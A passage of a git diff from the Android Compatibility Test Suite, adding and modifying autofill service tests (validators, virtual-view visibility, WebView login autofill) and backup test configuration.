+
+    /**
+     * Sets screen resolution.
+     *
+     * <p>If the screen is too small and the devices shows an IME, it might not have space for all
+     * UI elements after the device is rotated to landscape.
+     *
+     * <p>{@link #resetScreenResolution()} should always be called too.
+     */
+    void setScreenResolution() {
+        assumeMinimumResolution(500);
+
+        runShellCommand("wm size 1080x1920");
+        runShellCommand("wm density 320");
+    }
+
+    /**
+     * Resets screen resolution.
+     */
+    void resetScreenResolution() {
+        runShellCommand("wm density reset");
+        runShellCommand("wm size reset");
+    }
+
+    private boolean getBoolean(String id) {
+        final Resources resources = mContext.getResources();
+        final int booleanId = resources.getIdentifier(id, "bool", "android");
+        return resources.getBoolean(booleanId);
+    }
+
+    /**
+     * Returns {@code true} if display rotation is supported, {@code false} otherwise.
+     */
+    public boolean isScreenRotationSupported() {
+        try {
+            return !getBoolean(RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION);
+        } catch (Resources.NotFoundException e) {
+            Log.d(TAG, "Resource not found: "
+                    + RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION
+                    + ". Assume rotation supported");
+            return true;
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
new file mode 100644
index 0000000..21ebac2
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import android.service.autofill.LuhnChecksumValidator;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.Validator;
+import android.service.autofill.Validators;
+import android.support.annotation.NonNull;
+import android.view.View;
+import android.view.autofill.AutofillId;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.function.BiFunction;
+import java.util.regex.Pattern;
+
+public class ValidatorTest extends AutoFillServiceTestCase {
+    @Rule
+    public final AutofillActivityTestRule<LoginActivity> mActivityRule =
+        new AutofillActivityTestRule<>(LoginActivity.class);
+
+    private LoginActivity mActivity;
+
+    @Before
+    public void setActivity() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @After
+    public void finishWelcomeActivity() {
+        WelcomeActivity.finishIt();
+    }
+
+    /**
+     * Base test
+     *
+     * @param validatorBuilder method to build a validator
+     * @param willSaveBeShown  Whether the save pop-up will be shown
+     */
+    private void testValidator(
+            @NonNull BiFunction<AutofillId, AutofillId, Validator> validatorBuilder,
+            boolean willSaveBeShown) throws Exception {
+        enableService();
+
+        AutofillId usernameId = mActivity.getUsername().getAutofillId();
+        AutofillId passwordId = mActivity.getPassword().getAutofillId();
+
+        // Set response
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME, ID_PASSWORD)
+                .setValidator(validatorBuilder.apply(usernameId, passwordId))
+                .build());
+
+        // Trigger auto-fill
+        mActivity.onPassword(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onUsername((v) -> v.setText("7992739871-3"));
+        mActivity.onPassword((v) -> v.setText("passwd"));
+        mActivity.tapLogin();
+
+        if (willSaveBeShown) {
+            sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+            sReplier.getNextSaveRequest();
+        } else {
+            sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+        }
+
+        assertNoDanglingSessions();
+    }
+
+    @Test
+    public void checkForInvalidField() throws Exception {
+        testValidator((usernameId, passwordId) -> Validators.or(
+                new LuhnChecksumValidator(new AutofillId(-1)),
+                new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
+    }
+
+    @Test
+    public void checkBoth() throws Exception {
+        testValidator((usernameId, passwordId) -> Validators.and(
+                new LuhnChecksumValidator(usernameId),
+                new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
+    }
+
+    @Test
+    public void checkEither1() throws Exception {
+        testValidator((usernameId, passwordId) -> Validators.or(
+                new RegexValidator(usernameId, Pattern.compile("7.*")),
+                new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
+    }
+
+    @Test
+    public void checkEither2() throws Exception {
+        testValidator((usernameId, passwordId) -> Validators.or(
+                new RegexValidator(usernameId, Pattern.compile("invalid")),
+                new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
+    }
+
+    @Test
+    public void checkBothButFail() throws Exception {
+        testValidator((usernameId, passwordId) -> Validators.and(
+                new RegexValidator(usernameId, Pattern.compile("7.*")),
+                new RegexValidator(passwordId, Pattern.compile("invalid"))), false);
+    }
+
+    @Test
+    public void checkEitherButFail() throws Exception {
+        testValidator((usernameId, passwordId) -> Validators.or(
+                new RegexValidator(usernameId, Pattern.compile("invalid")),
+                new RegexValidator(passwordId, Pattern.compile("invalid"))), false);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
index 541250b..cd98a1e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
@@ -175,6 +175,9 @@
 
     @Test
     public void checkViewLocationInAssistStructure() throws Exception {
+        // If screen is not large enough to contain child, the height/weight will be the residual
+        // space instead of the specific size.
+        sUiBot.assumeMinimumResolution(500);
         onAssistStructure(false, (structure) -> {
                     // check size of outerView
                     AssistStructure.ViewNode outerView = findNodeByResourceId(structure,
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java
index 82bf213..65f3378 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java
@@ -26,7 +26,6 @@
 import android.autofillservice.cts.VirtualContainerView.Line.OneTimeLineWatcher;
 import android.graphics.Canvas;
 import android.os.Bundle;
-import android.view.autofill.AutofillManager;
 
 /**
  * A custom activity that uses {@link Canvas} to draw the following fields:
@@ -53,7 +52,7 @@
 
         setContentView(R.layout.virtual_container_activity);
 
-        mCustomView = (VirtualContainerView) findViewById(R.id.virtual_container_view);
+        mCustomView = findViewById(R.id.virtual_container_view);
 
         mUsername = mCustomView.addLine(ID_USERNAME_LABEL, "Username", ID_USERNAME, BLANK_VALUE);
         mPassword = mCustomView.addLine(ID_PASSWORD_LABEL, "Password", ID_PASSWORD, BLANK_VALUE);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
index 7b767cf..31eae24 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
@@ -37,6 +37,8 @@
 import android.autofillservice.cts.VirtualContainerView.Line;
 import android.content.ComponentName;
 import android.graphics.Rect;
+import android.os.SystemClock;
+import android.service.autofill.SaveInfo;
 import android.support.test.uiautomator.UiObject2;
 import android.view.autofill.AutofillManager;
 
@@ -45,6 +47,9 @@
 import org.junit.Rule;
 import org.junit.Test;
 
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
 /**
  * Test case for an activity containing virtual children.
  */
@@ -369,6 +374,43 @@
         sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
     }
 
+    @Test
+    public void testSaveDialogShownWhenAllVirtualViewsNotVisible() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
+                .build());
+
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        // Trigger auto-fill.
+        mActivity.runOnUiThread(() -> {
+            mActivity.mUsername.changeFocus(true);
+            latch.countDown();
+        });
+        latch.await(Helper.UI_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        sReplier.getNextFillRequest();
+
+        // TODO: 63602573 Should be removed once this bug is fixed
+        SystemClock.sleep(1000);
+
+        mActivity.runOnUiThread(() -> {
+            // Fill in some stuff
+            mActivity.mUsername.setText("foo");
+            mActivity.mPassword.setText("bar");
+
+            // Hide all virtual views
+            mActivity.mUsername.changeVisibility(false);
+            mActivity.mPassword.changeVisibility(false);
+        });
+
+        // Make sure save is shown
+        sUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
 
     @Test
     public void testAppCannotFakePackageName() throws Exception {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
index 3098b60..8eecc29 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
@@ -133,6 +133,9 @@
         for (int i = 0; i < mLines.size(); i++) {
             x = mLeftMargin;
             final Line line = mLines.get(i);
+            if (!line.visible) {
+                continue;
+            }
             Log.v(TAG, "Drawing '" + line + "' at " + x + "x" + y);
             mTextPaint.setColor(line.focused ? mFocusedColor : mUnfocusedColor);
             final String readOnlyText = line.label.text + ":  [";
@@ -270,7 +273,6 @@
         mFakedComponentName = name;
     }
 
-
     void setOverrideDispatchProvideAutofillStructure(boolean flag) {
         mOverrideDispatchProvideAutofillStructure = flag;
     }
@@ -285,6 +287,7 @@
         final Rect bounds = new Rect();
 
         private boolean focused;
+        private boolean visible = true;
 
         private Line(String labelId, String label, String textId, String text) {
             this.label = new Item(this, ++nextId, labelId, label, false, false);
@@ -303,6 +306,16 @@
             }
         }
 
+        void changeVisibility(boolean visible) {
+            if (this.visible == visible) {
+                return;
+            }
+            this.visible = visible;
+            mAfm.notifyViewVisibilityChanged(VirtualContainerView.this, text.id, visible);
+            Log.d(TAG, "visibility changed view: " + text.id + "; visible:" + visible);
+            invalidate();
+        }
+
         Rect getAbsCoordinates() {
             // Must offset the boundaries so they're relative to the CustomView.
             final int offset[] = new int[2];
@@ -315,13 +328,25 @@
             return absBounds;
         }
 
+        void setText(String value) {
+            text.text = value;
+            final AutofillManager autofillManager =
+                    getContext().getSystemService(AutofillManager.class);
+            if (autofillManager != null) {
+                autofillManager.notifyValueChanged(VirtualContainerView.this, text.id,
+                        AutofillValue.forText(text.text));
+            }
+            invalidate();
+        }
+
         void setTextChangedListener(TextWatcher listener) {
             text.listener = listener;
         }
 
         @Override
         public String toString() {
-            return "Label: " + label + " Text: " + text + " Focused: " + focused;
+            return "Label: " + label + " Text: " + text + " Focused: " + focused
+                    + " Visible: " + visible;
         }
 
         final class OneTimeLineWatcher implements TextWatcher {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
new file mode 100644
index 0000000..2ef5141
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.os.Bundle;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.webkit.WebResourceRequest;
+import android.webkit.WebResourceResponse;
+import android.webkit.WebView;
+import android.webkit.WebViewClient;
+import android.widget.EditText;
+
+import java.io.IOException;
+
+public class WebViewActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "WebViewActivity";
+    static final String FAKE_DOMAIN = "y.u.no.real.server";
+    private static final String FAKE_URL = "https://" + FAKE_DOMAIN + ":666/login.html";
+    static final String ID_WEBVIEW = "webview";
+
+    MyWebView mWebView;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.webview_activity);
+
+        mWebView = findViewById(R.id.webview);
+        mWebView.setWebViewClient(new WebViewClient() {
+            // WebView does not set the WebDomain on file:// requests, so we need to use an https://
+            // request and intercept it to provide the real data.
+            @Override
+            public WebResourceResponse shouldInterceptRequest(WebView view,
+                    WebResourceRequest request) {
+                final String url = request.getUrl().toString();
+                if (!url.equals(FAKE_URL)) {
+                    Log.d(TAG, "Ignoring " + url);
+                    return super.shouldInterceptRequest(view, request);
+                }
+
+                final String rawPath = request.getUrl().getPath().substring(1); // Remove leading /
+                Log.d(TAG, "Converting " + url + " to " + rawPath);
+                // NOTE: cannot use try() because it would close the stream before WebView uses it.
+                try {
+                    return new WebResourceResponse("text/html", "utf-8", getAssets().open(rawPath));
+                } catch (IOException e) {
+                    throw new IllegalArgumentException("Error opening " + rawPath, e);
+                }
+            }
+        });
+        mWebView.loadUrl(FAKE_URL);
+    }
+
+    public UiObject2 getUsernameLabel(UiBot uiBot) {
+        return getLabel(uiBot, "Username: ");
+    }
+
+    public UiObject2 getPasswordLabel(UiBot uiBot) {
+        return getLabel(uiBot, "Password: ");
+    }
+
+    public UiObject2 getUsernameInput(UiBot uiBot) {
+        return getInput(uiBot, "Username: ");
+    }
+
+    public UiObject2 getPasswordInput(UiBot uiBot) {
+        return getInput(uiBot, "Password: ");
+    }
+
+    public UiObject2 getLoginButton(UiBot uiBot) {
+        return getLabel(uiBot, "Login");
+    }
+
+    private UiObject2 getLabel(UiBot uiBot, String label) {
+        try {
+            return uiBot.assertShownByContentDescription(label);
+        } catch (Throwable t) {
+            return uiBot.assertShownByText(label);
+        }
+    }
+
+    private UiObject2 getInput(UiBot uiBot, String contentDescription) {
+        // First get the label..
+        final UiObject2 label = getLabel(uiBot, contentDescription);
+
+        // Then the input is next.
+        final UiObject2 parent = label.getParent();
+        UiObject2 previous = null;
+        for (UiObject2 child : parent.getChildren()) {
+            if (label.equals(previous)) {
+                if (child.getClassName().equals(EditText.class.getName())) {
+                    return child;
+                }
+                throw new IllegalStateException("Invalid class for " + child);
+            }
+            previous = child;
+        }
+        throw new IllegalStateException("could not find username (label=" + label + ")");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
new file mode 100644
index 0000000..cf2ecfc
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
@@ -0,0 +1,299 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.view.ViewStructure.HtmlInfo;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+
+public class WebViewActivityTest extends AutoFillServiceTestCase {
+
+    private static final String TAG = "WebViewActivityTest";
+
+    // TODO(b/64951517): WebView currently does not trigger the autofill callbacks when values are
+    // set using accessibility.
+    private static final boolean INJECT_EVENTS = true;
+
+    @Rule
+    public final AutofillActivityTestRule<WebViewActivity> mActivityRule =
+            new AutofillActivityTestRule<WebViewActivity>(WebViewActivity.class) {
+    // TODO(b/111838239): latest WebView implementation calls AutofillManager.isEnabled() to
+    // disable autofill for optimization when it returns false, and unfortunately the value
+    // returned by that method does not change when the service is enabled / disabled, so we
+    // need to start enable the service before launching the activity.
+    // Once that's fixed, remove this overridden method.
+                @Override
+                protected void beforeActivityLaunched() {
+                    super.beforeActivityLaunched();
+                    Log.i(TAG, "Setting service before launching the activity");
+                    enableService();
+                }
+            };
+
+    private WebViewActivity mActivity;
+
+    @Before
+    public void setActivity() {
+        mActivity = mActivityRule.getActivity();
+        assertAutofillEnabledOnWebView();
+    }
+
+    @BeforeClass
+    public static void setReplierMode() {
+        sReplier.setIdMode(IdMode.HTML_NAME);
+    }
+
+    @AfterClass
+    public static void resetReplierMode() {
+        sReplier.setIdMode(IdMode.RESOURCE_ID);
+    }
+
+    @Test
+    public void testAutofillNoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+        // Trigger autofill.
+        mActivity.getUsernameInput(sUiBot).click();
+        sReplier.getNextFillRequest();
+
+        // Assert not shown.
+        sUiBot.assertNoDatasets();
+    }
+
+    @Test
+    public void testAutofillOneDataset() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mActivity.mWebView.expectAutofill("dude", "sweet");
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField("username", "dude")
+                .setField("password", "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput(sUiBot).click();
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        sUiBot.assertDatasets("The Dude");
+
+        // Change focus around.
+        final int usernameChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+        mActivity.getUsernameLabel(sUiBot).click();
+        callback.assertUiHiddenEvent(mActivity.mWebView, usernameChildId);
+        sUiBot.assertNoDatasets();
+        mActivity.getPasswordInput(sUiBot).click();
+        final int passwordChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+        final UiObject2 datasetPicker = sUiBot.assertDatasets("The Dude");
+
+        // Now Autofill it.
+        sUiBot.selectDataset(datasetPicker, "The Dude");
+        mActivity.mWebView.assertAutofilled();
+        sUiBot.assertNoDatasets();
+        callback.assertUiHiddenEvent(mActivity.mWebView, passwordChildId);
+
+        // Make sure screen was autofilled.
+        assertThat(mActivity.getUsernameInput(sUiBot).getText()).isEqualTo("dude");
+        // TODO: proper way to verify text (which is ..... because it's a password) - ideally it
+        // should call passwordInput.isPassword(), but that's not exposed
+        final String password = mActivity.getPasswordInput(sUiBot).getText();
+        assertThat(password).isNotEqualTo("sweet");
+        assertThat(password).hasLength(5);
+
+        // Assert structure passed to service.
+        try {
+            final ViewNode webViewNode = Helper.findWebViewNode(fillRequest.structure, "FORM AM I");
+            // TODO(b/66953802): class name should be android.webkit.WebView, and form name should
+            // be inside HtmlInfo, but Chromium 61 does not implement that.
+            if (webViewNode.getClassName().equals("android.webkit.WebView")) {
+                final HtmlInfo htmlInfo = Helper.assertHasHtmlTag(webViewNode, "form");
+                Helper.assertHasAttribute(htmlInfo, "name", "FORM AM I");
+            } else {
+                assertThat(webViewNode.getClassName()).isEqualTo("FORM AM I");
+                assertThat(webViewNode.getHtmlInfo()).isNull();
+            }
+            assertThat(webViewNode.getWebDomain()).isEqualTo(WebViewActivity.FAKE_DOMAIN);
+
+            final ViewNode usernameNode =
+                    Helper.findNodeByHtmlName(fillRequest.structure, "username");
+            Helper.assertTextIsSanitized(usernameNode);
+            final HtmlInfo usernameHtmlInfo = Helper.assertHasHtmlTag(usernameNode, "input");
+            Helper.assertHasAttribute(usernameHtmlInfo, "type", "text");
+            Helper.assertHasAttribute(usernameHtmlInfo, "name", "username");
+            assertThat(usernameNode.isFocused()).isTrue();
+            assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
+            assertThat(usernameNode.getHint()).isEqualTo("There's no place like a holder");
+
+            final ViewNode passwordNode =
+                    Helper.findNodeByHtmlName(fillRequest.structure, "password");
+            Helper.assertTextIsSanitized(passwordNode);
+            final HtmlInfo passwordHtmlInfo = Helper.assertHasHtmlTag(passwordNode, "input");
+            Helper.assertHasAttribute(passwordHtmlInfo, "type", "password");
+            Helper.assertHasAttribute(passwordHtmlInfo, "name", "password");
+            assertThat(passwordNode.getAutofillHints()).asList()
+                    .containsExactly("current-password");
+            assertThat(passwordNode.getHint()).isEqualTo("Holder it like it cannnot passer a word");
+            assertThat(passwordNode.isFocused()).isFalse();
+        } catch (RuntimeException | Error e) {
+            Helper.dumpStructure("failed on testAutofillOneDataset()", fillRequest.structure);
+            throw e;
+        }
+    }
+
+    @Test
+    public void testSaveOnly() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, "username", "password")
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput(sUiBot).click();
+        sReplier.getNextFillRequest();
+
+        // Assert not shown.
+        sUiBot.assertNoDatasets();
+
+        // Trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getUsernameInput(sUiBot).click();
+            runShellCommand("input keyevent KEYCODE_U");
+            mActivity.getPasswordInput(sUiBot).click();
+            runShellCommand("input keyevent KEYCODE_P");
+        } else {
+            mActivity.getUsernameInput(sUiBot).setText("DUDE");
+            mActivity.getPasswordInput(sUiBot).setText("SWEET");
+        }
+        mActivity.getLoginButton(sUiBot).click();
+
+        // Assert save UI shown.
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode usernameNode = Helper.findNodeByHtmlName(saveRequest.structure, "username");
+        final ViewNode passwordNode = Helper.findNodeByHtmlName(saveRequest.structure, "password");
+        if (INJECT_EVENTS) {
+            Helper.assertTextAndValue(usernameNode, "u");
+            Helper.assertTextAndValue(passwordNode, "p");
+        } else {
+            Helper.assertTextAndValue(usernameNode, "DUDE");
+            Helper.assertTextAndValue(passwordNode, "SWEET");
+        }
+    }
+
+    @Test
+    public void testAutofillAndSave() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        mActivity.mWebView.expectAutofill("dude", "sweet");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, "username", "password")
+                .addDataset(new CannedDataset.Builder()
+                        .setField("username", "dude")
+                        .setField("password", "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput(sUiBot).click();
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        sUiBot.assertDatasets("The Dude");
+        final int usernameChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+
+        // Assert structure passed to service.
+        final ViewNode usernameNode = Helper.findNodeByHtmlName(fillRequest.structure, "username");
+        Helper.assertTextIsSanitized(usernameNode);
+        assertThat(usernameNode.isFocused()).isTrue();
+        assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
+        final ViewNode passwordNode = Helper.findNodeByHtmlName(fillRequest.structure, "password");
+        Helper.assertTextIsSanitized(passwordNode);
+        assertThat(passwordNode.getAutofillHints()).asList().containsExactly("current-password");
+        assertThat(passwordNode.isFocused()).isFalse();
+
+        // Autofill it.
+        sUiBot.selectDataset("The Dude");
+        mActivity.mWebView.assertAutofilled();
+        callback.assertUiHiddenEvent(mActivity.mWebView, usernameChildId);
+
+        // Make sure screen was autofilled.
+        assertThat(mActivity.getUsernameInput(sUiBot).getText()).isEqualTo("dude");
+        // TODO: proper way to verify text (which is ..... because it's a password) - ideally it
+        // should call passwordInput.isPassword(), but that's not exposed
+        final String password = mActivity.getPasswordInput(sUiBot).getText();
+        assertThat(password).isNotEqualTo("sweet");
+        assertThat(password).hasLength(5);
+
+        // Now trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getUsernameInput(sUiBot).click();
+            runShellCommand("input keyevent KEYCODE_U");
+            mActivity.getPasswordInput(sUiBot).click();
+            runShellCommand("input keyevent KEYCODE_P");
+        } else {
+            mActivity.getUsernameInput(sUiBot).setText("DUDE");
+            mActivity.getPasswordInput(sUiBot).setText("SWEET");
+        }
+        mActivity.getLoginButton(sUiBot).click();
+
+        // Assert save UI shown.
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode usernameNode2 = Helper.findNodeByHtmlName(saveRequest.structure, "username");
+        final ViewNode passwordNode2 = Helper.findNodeByHtmlName(saveRequest.structure, "password");
+        if (INJECT_EVENTS) {
+            Helper.assertTextAndValue(usernameNode2, "dudeu");
+            Helper.assertTextAndValue(passwordNode2, "sweetp");
+        } else {
+            Helper.assertTextAndValue(usernameNode2, "DUDE");
+            Helper.assertTextAndValue(passwordNode2, "SWEET");
+        }
+    }
+
+    private void assertAutofillEnabledOnWebView() {
+        assertThat(mActivity.mWebView.isAutofillEnabled()).isTrue();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
index 637966d..5d3baca 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
@@ -15,8 +15,12 @@
  */
 package android.autofillservice.cts;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.content.Intent;
 import android.os.Bundle;
+import android.support.annotation.Nullable;
+import android.support.test.uiautomator.UiObject2;
 import android.text.TextUtils;
 import android.util.Log;
 import android.widget.TextView;
@@ -31,6 +35,7 @@
     private static final String TAG = "WelcomeActivity";
 
     static final String EXTRA_MESSAGE = "message";
+    static final String ID_OUTPUT = "output";
 
     private TextView mOutput;
 
@@ -62,4 +67,19 @@
             sInstance.finish();
         }
     }
+
+    // TODO: reuse in other places
+    static void assertShowingDefaultMessage(UiBot uiBot) throws Exception {
+        assertShowing(uiBot, null);
+    }
+
+    // TODO: reuse in other places
+    static void assertShowing(UiBot uiBot, @Nullable String expectedMessage) throws Exception {
+        final UiObject2 activity = uiBot.assertShownByRelativeId(ID_OUTPUT);
+        if (expectedMessage == null) {
+            expectedMessage = "Welcome to the jungle!";
+        }
+        assertWithMessage("wrong text on '%s'", activity).that(activity.getText())
+                .isEqualTo(expectedMessage);
+    }
 }
diff --git a/tests/backup/Android.mk b/tests/backup/Android.mk
index c8c7d87..bb1f8fc 100644
--- a/tests/backup/Android.mk
+++ b/tests/backup/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsBackupTestCases
 
diff --git a/tests/backup/AndroidTest.xml b/tests/backup/AndroidTest.xml
index f292943..015f595 100644
--- a/tests/backup/AndroidTest.xml
+++ b/tests/backup/AndroidTest.xml
@@ -18,9 +18,14 @@
     <option name="config-descriptor:metadata" key="component" value="backup" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsBackupApp.apk" />
+        <option name="test-file-name" value="CtsFullBackupApp.apk" />
+        <option name="test-file-name" value="CtsKeyValueBackupApp.apk" />
         <option name="test-file-name" value="CtsBackupTestCases.apk" />
     </target_preparer>
+    <target_preparer class="android.cts.backup.BackupPreparer">
+        <option name="enable-backup-if-needed" value="true" />
+        <option name="select-local-transport" value="true" />
+    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.backup.cts" />
         <option name="runtime-hint" value="8m20s" />
diff --git a/tests/backup/app/Android.mk b/tests/backup/app/Android.mk
index dd1992b..cddf11e 100644
--- a/tests/backup/app/Android.mk
+++ b/tests/backup/app/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2016 The Android Open Source Project
